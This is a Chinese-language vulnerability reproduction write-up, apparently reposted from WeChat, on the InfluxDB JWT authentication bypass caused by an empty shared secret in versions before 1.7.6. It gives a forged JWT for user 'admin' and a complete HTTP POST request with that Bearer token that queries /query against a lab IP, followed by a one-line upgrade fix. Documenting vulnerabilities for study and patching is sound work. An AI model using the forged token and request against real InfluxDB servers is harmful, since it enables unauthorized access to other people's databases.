该漏洞为我团队漏洞监测平台发现,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
InfluxDB是一款著名的时序数据库,其使用jwt作为鉴权方式。
在其1.7.6版本以前,默认设置jwt的认证密钥shared-secret为空字符串,导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。
漏洞原理就是1.7.6 之前的 InfluxDB 在 services/httpd/handler.go 中的身份验证函数中存在身份验证绕过漏洞,因为 JWT 令牌可能具有空的共享密钥(也称为共享密钥)
InfluxDB<1.7.6。
程序启动以后浏览器中输入URL,http://192.168.124.3:8086/debug/var
可以看到信息信息,如图所示:
通过访问http://192.168.124.3:8086/query可以看到登录页面。
通过https://jwt.io/生成Cookie,绕过身份验证,构造所需的 Token:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1716239022
}
其中,username需要为已存在的用户,exp是时间戳,代表该 Token 的过期时间,所以需要生成一个未来的时间戳。1716239022转换为时间是:Tue May 21 2024 05:03:42 GMT+0800。这里将secret的值置空,得到编码后的 Token:
BP抓取/query页面的数据包,并将请求方式修改为POST,添加请求头:
POST /query HTTP/1.1
Host: 192.168.124.3:8086
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzE2MjM5MDIyfQ.jo8FUdPG0-_DBrXzkWvIja5fNbK-1rgs8pss46nKJuE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
db=sample&q=show+users
①升级到最新版本。
原文始发于微信公众号(小白嘿课):【严重】influxDB JWT未授权漏洞的复现以及工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论